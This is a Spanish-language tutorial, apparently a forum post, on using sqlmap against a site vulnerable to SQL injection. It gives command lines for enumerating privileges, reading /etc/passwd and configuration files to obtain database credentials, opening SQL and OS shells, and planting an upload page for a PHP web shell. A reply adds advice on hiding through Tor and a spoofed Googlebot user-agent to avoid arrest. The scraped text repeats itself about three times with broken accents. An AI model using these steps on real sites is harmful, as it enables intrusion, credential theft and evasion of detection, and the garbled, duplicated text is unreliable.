pequeño manual sqlmap

11
Ya identificado el usuario, quiero saber si este es el administrador de la base de datos, para lo cual use --is-dba. Y si quiero saber a qué base de datos se está conectando usaré: --Current-db Código: [Seleccionar] ./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --is- dba –current-db La consulta anterior nos dice que no es el dba. Ahora se necesita saber qué privilegios posee el usuario que realiza dicha consulta dentro del servidor, para así poder enfocar mejor nuestro vector de ataque. El comando a usar para la enumeración de los privilegios es -- privileges Código: [Seleccionar] ./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 -- privileges Se encontraron varios "administradores", pero con distintos privilegios. A continuación presento solo el resultado de nuestro usuario: Como se observa en la imagen anterior, se poseen muchos privilegios; ahora sí todo depende de la imaginación y del objetivo del atacante. Al momento de identificar si el sitio era vulnerable o no a la técnica de SQL Injection, se generaron errores en la aplicación y gracias a que hay un mal

Upload: pier-aaron

Post on 22-Nov-2015

15 views

Category:

Documents


2 download

TRANSCRIPT

Ya identificado el usuario, quiero saber si este es el administrador de la base de datos, para lo cual use --is-dba. Y si quiero saber a qu base de datos se est conectando usar: --Current-db

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --is-dba current-db

La consulta anterior nos dice que no es el dba.

Ahora se necesita saber qu privilegios posee el usuario que realiza dicha consulta dentro del servidor, para as poder enfocar mejor nuestro vector de ataque. El comando a usar para la enumeracin de los privilegios es --privileges

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --privileges

Se encontraron varios "administradores", pero con distintos privilegios. A continuacin presento solo el resultado de nuestro usuario:

Como se observa en la imagen anterior, se poseen muchos privilegios; ahora s todo depende de la imaginacin y del objetivo del atacante.

Al momento de identificar si el sitio era vulnerable o no a la tcnica de SQL Injection, se generaron errores en la aplicacin y gracias a que hay un mal manejo de ellos se pudo obtener la ruta raz del servidor (Full path disclosure). sta ser de ayuda ms adelante para la lectura y escritura de algunas pginas, siempre y cuando el usuario de la consulta tenga los permisos suficientes en el servidor web.

Para realizar la lectura de ficheros se usa el comando --file-read acompaado de la ruta en que se encuentra este, para este caso "/etc/passwd"

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-read=/etc/passwd

Como respuesta, SQLMap lo descarga y lo guarda en la carpeta files.

Adems, esta herramienta permite la lectura del cdigo fuente de las pginas de la aplicacin que se le especifique. Para este ejemplo, el objetivo era conseguir los datos de conexin de la base de datos. Para ello, le ped a SQLMap leer la pagina de inicio, index.php

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/index.php

En el cdigo fuente extrado, se muestra que hay una pagina que est incluyendo, conn.php. Posiblemente sta nos brinde ms informacin.

Leyendo conn.php

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/conn.php

Y sta nos da ms datos, esta vez la ruta donde se encuentra la informacin que se est buscando.

Leyendo Ruta/local_db.inc

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-read=ruta_raiz_del_servidor/local_db.icn

y como respuesta tenemos los datos de conexin de la base de datos:

y si lo que se quiere es tener una shell sql, con el siguiente comando --sql-shell se puede obtener de la siguiente forma:

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --sql-shell

Como respuesta nos da una shell sql en donde se podr realizar consultas, como se muestra a continuacin:

En caso de poseer los suficientes privilegios, se podr ejecutar comandos en el sistema operativo, entre otra multitud de acciones. Para no hacer muy extenso este post solo usar el comando --os-shell, que nos permitir conseguir una shell en el servidor.

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --os-shell

Despus de ejecutar la sentencia anterior, SQLMap nos arrojar informacin sobre el sistema operativo en el que corre la aplicacin y pedir que se le especifique el lenguaje de la misma y la ruta raz del servidor.

Y finalmente, crea una pgina, en este caso en php, en el servidor con la ruta especificada con el siguiente cdigo:

Spoiler

Esta pgina que se insert en el servidor web nos permitir subir cualquier archivo, en este caso una phpshell, para as tener control completo del sitio.

SQLMap es una herramienta muy completa y flexible. Fue creada por Bernardo Damele Assumpcao Guimaraes y Miroslav Stampar. Se caracteriza por permitir la realizacin de ataques de SQL Injection automatizados contra un sitio web vulnerable y, debido a su gran variedad de opciones, se podr personalizar las tcnicas usadas dependiendo del objetivo.

SQLMap agrupa sus comandos por categoras, denominadas de la siguiente forma: Target, Request, Optimization, Injection, Detection, Techniques, Fingerprint, Enumeration, Brute force, User-defined function injection, File system access, Operating system access, Windows registry access, General y Miscellaneous. Todas estas categoras se encuentran detalladas en el manual de esta herramienta, que esta disponible en el siguiente enlace sqlmap.sourceforge.net/doc/README.pdf.

A pesar de las mltiples funciones que trae consigo SQLMap, el comando mas usado y conocido por muchos es dump, con el cual se podr bajar o dumpear la base de datos. En esta ocasin har caso omiso de dump, y "jugar" con otras opciones que tambin me parecen interesantes; sin embargo, no hablar de todas, puesto que no pretendo realizar un manual. Mirando el --help de esta herramienta podremos encontrar todos los comandos que nos permitirn personalizar las tcnicas usadas dependiendo de la aplicacin en que nos encontremos.

Tomar como ejemplo un sitio vulnerable a SQL Injection para la realizacin de esta practica. Con el fin de proteger la identidad y los datos sensibles que puedan ser expuestos, algunas imgenes y consultas han sido modificadas.

Teniendo ya mi sitio con una variable vulnerable a SQL Injection, lo primero que se me vino a la mente fue saber con qu usuario se estn realizando las peticiones, para ello uso el parmetro --Current-user y armo mi consulta de la siguiente forma:

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 current-user

Como respuesta, el servidor trae el nombre del usuario como se presenta en la siguiente imagen:

Ya identificado el usuario, quiero saber si este es el administrador de la base de datos, para lo cual use --is-dba. Y si quiero saber a qu base de datos se est conectando usar: --Current-db

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --is-dba current-db

La consulta anterior nos dice que no es el dba.

Ahora se necesita saber qu privilegios posee el usuario que realiza dicha consulta dentro del servidor, para as poder enfocar mejor nuestro vector de ataque. El comando a usar para la enumeracin de los privilegios es --privileges

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --privileges

Se encontraron varios "administradores", pero con distintos privilegios. A continuacin presento solo el resultado de nuestro usuario:

Como se observa en la imagen anterior, se poseen muchos privilegios; ahora s todo depende de la imaginacin y del objetivo del atacante.

Al momento de identificar si el sitio era vulnerable o no a la tcnica de SQL Injection, se generaron errores en la aplicacin y gracias a que hay un mal manejo de ellos se pudo obtener la ruta raz del servidor (Full path disclosure). sta ser de ayuda ms adelante para la lectura y escritura de algunas pginas, siempre y cuando el usuario de la consulta tenga los permisos suficientes en el servidor web.

Para realizar la lectura de ficheros se usa el comando --file-read acompaado de la ruta en que se encuentra este, para este caso "/etc/passwd"

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-read=/etc/passwd

Como respuesta, SQLMap lo descarga y lo guarda en la carpeta files.

Adems, esta herramienta permite la lectura del cdigo fuente de las pginas de la aplicacin que se le especifique. Para este ejemplo, el objetivo era conseguir los datos de conexin de la base de datos. Para ello, le ped a SQLMap leer la pagina de inicio, index.php

Data provided by Pastebin.com - Download Raw - See OriginalCdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/index.php

En el cdigo fuente extrado, se muestra que hay una pagina que est incluyendo, conn.php. Posiblemente sta nos brinde ms informacin.

Leyendo conn.php

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/conn.php

Y sta nos da ms datos, esta vez la ruta donde se encuentra la informacin que se est buscando.

Leyendo Ruta/local_db.inc

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-read=ruta_raiz_del_servidor/local_db.icn

y como respuesta tenemos los datos de conexin de la base de datos:

Y si lo que se quiere es tener una shell sql, con el siguiente comando --sql-shell se puede obtener de la siguiente forma:

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --sql-shell

Como respuesta nos da una shell sql en donde se podr realizar consultas, como se muestra a continuacin:

En caso de poseer los suficientes privilegios, se podr ejecutar comandos en el sistema operativo, entre otra multitud de acciones. Para no hacer muy extenso este post solo usar el comando --os-shell, que nos permitir conseguir una shell en el servidor.

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --os-shell

Despus de ejecutar la sentencia anterior, SQLMap nos arrojar informacin sobre el sistema operativo en el que corre la aplicacin y pedir que se le especifique el lenguaje de la misma y la ruta raz del servidor.

Y finalmente, crea una pgina, en este caso en php, en el servidor con la ruta especificada con el siguiente cdigo:

Cdigo:[Seleccionar]

Esta pgina que se insert en el servidor web nos permitir subir cualquier archivo, en este caso una phpshell, para as tener control completo del sitio.

SQLMap es una herramienta muy completa y flexible. Fue creada por Bernardo Damele Assumpcao Guimaraes y Miroslav Stampar. Se caracteriza por permitir la realizacin de ataques de SQL Injection automatizados contra un sitio web vulnerable y, debido a su gran variedad de opciones, se podr personalizar las tcnicas usadas dependiendo del objetivo.

SQLMap agrupa sus comandos por categoras, denominadas de la siguiente forma: Target, Request, Optimization, Injection, Detection, Techniques, Fingerprint, Enumeration, Brute force, User-defined function injection, File system access, Operating system access, Windows registry access, General y Miscellaneous. Todas estas categoras se encuentran detalladas en el manual de esta herramienta, que esta disponible en el siguiente enlace sqlmap.sourceforge.net/doc/README.pdf.

A pesar de las mltiples funciones que trae consigo SQLMap, el comando mas usado y conocido por muchos es dump, con el cual se podr bajar o dumpear la base de datos. En esta ocasin har caso omiso de dump, y "jugar" con otras opciones que tambin me parecen interesantes; sin embargo, no hablar de todas, puesto que no pretendo realizar un manual. Mirando el --help de esta herramienta podremos encontrar todos los comandos que nos permitirn personalizar las tcnicas usadas dependiendo de la aplicacin en que nos encontremos.

Tomar como ejemplo un sitio vulnerable a SQL Injection para la realizacin de esta practica. Con el fin de proteger la identidad y los datos sensibles que puedan ser expuestos, algunas imgenes y consultas han sido modificadas.

Teniendo ya mi sitio con una variable vulnerable a SQL Injection, lo primero que se me vino a la mente fue saber con qu usuario se estn realizando las peticiones, para ello uso el parmetro --Current-user y armo mi consulta de la siguiente forma:

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 current-user

Como respuesta, el servidor trae el nombre del usuario como se presenta en la siguiente imagen:

Ya identificado el usuario, quiero saber si este es el administrador de la base de datos, para lo cual use --is-dba. Y si quiero saber a qu base de datos se est conectando usar: --Current-db

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --is-dba current-db

La consulta anterior nos dice que no es el dba.

Ahora se necesita saber qu privilegios posee el usuario que realiza dicha consulta dentro del servidor, para as poder enfocar mejor nuestro vector de ataque. El comando a usar para la enumeracin de los privilegios es --privileges

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --privileges

Se encontraron varios "administradores", pero con distintos privilegios. A continuacin presento solo el resultado de nuestro usuario:

Como se observa en la imagen anterior, se poseen muchos privilegios; ahora s todo depende de la imaginacin y del objetivo del atacante.

Al momento de identificar si el sitio era vulnerable o no a la tcnica de SQL Injection, se generaron errores en la aplicacin y gracias a que hay un mal manejo de ellos se pudo obtener la ruta raz del servidor (Full path disclosure). sta ser de ayuda ms adelante para la lectura y escritura de algunas pginas, siempre y cuando el usuario de la consulta tenga los permisos suficientes en el servidor web.

Para realizar la lectura de ficheros se usa el comando --file-read acompaado de la ruta en que se encuentra este, para este caso "/etc/passwd"

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-read=/etc/passwd

Como respuesta, SQLMap lo descarga y lo guarda en la carpeta files.

Adems, esta herramienta permite la lectura del cdigo fuente de las pginas de la aplicacin que se le especifique. Para este ejemplo, el objetivo era conseguir los datos de conexin de la base de datos. Para ello, le ped a SQLMap leer la pagina de inicio, index.php

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/index.php

En el cdigo fuente extrado, se muestra que hay una pagina que est incluyendo, conn.php. Posiblemente sta nos brinde ms informacin.

Leyendo conn.php

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/conn.php

Y sta nos da ms datos, esta vez la ruta donde se encuentra la informacin que se est buscando.

Leyendo Ruta/local_db.inc

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-read=ruta_raiz_del_servidor/local_db.icn

y como respuesta tenemos los datos de conexin de la base de datos:

Y si lo que se quiere es tener una shell sql, con el siguiente comando --sql-shell se puede obtener de la siguiente forma:

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --sql-shell

Como respuesta nos da una shell sql en donde se podr realizar consultas, como se muestra a continuacin:

En caso de poseer los suficientes privilegios, se podr ejecutar comandos en el sistema operativo, entre otra multitud de acciones. Para no hacer muy extenso este post solo usar el comando --os-shell, que nos permitir conseguir una shell en el servidor.

Cdigo:[Seleccionar]./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --os-shell

Despus de ejecutar la sentencia anterior, SQLMap nos arrojar informacin sobre el sistema operativo en el que corre la aplicacin y pedir que se le especifique el lenguaje de la misma y la ruta raz del servidor.

Y finalmente, crea una pgina, en este caso en php, en el servidor con la ruta especificada con el siguiente cdigo:

Cdigo:[Seleccionar]

Esta pgina que se insert en el servidor web nos permitir subir cualquier archivo, en este caso una phpshell, para as tener control completo del sitio.

Estas son unas pocas muestras de la potencia y flexibilidad de las opciones no tan populares de esta fantstica herramienta. Es aconsejable investigar con mayor profundidad las posibilidades de SQLMap,

compadre muy bueno, podras agregar algn mtodo de anonimato, por que as te detectan de una, podra ser el tor + polipopor que imagnate, un new boy en este mundo, empieza a realizar estos actos, es detenido de una.

ej:

Cdigo:[Seleccionar]--tor --user-agent="Mozilla 5 (compatible, googlebot/2.1, http://www.google.com/bot.html)"

tor = usa servidores como nodos de proxy's y se va actualizando como list proxy

Cdigo:[Seleccionar] --user-agent="Mozilla 5 (compatible, googlebot/2.1, http://www.google.com/bot.html)

as se ocultarian como agentes usuarios de mozilla firefox en su versin 5, siendo BOT de google en su versin 2.1, y la referencia del BOT

Polipo se adhiere directamente a TOR a travs de los puertosas completamente annimos

espero les sirva como para completar un poquito el post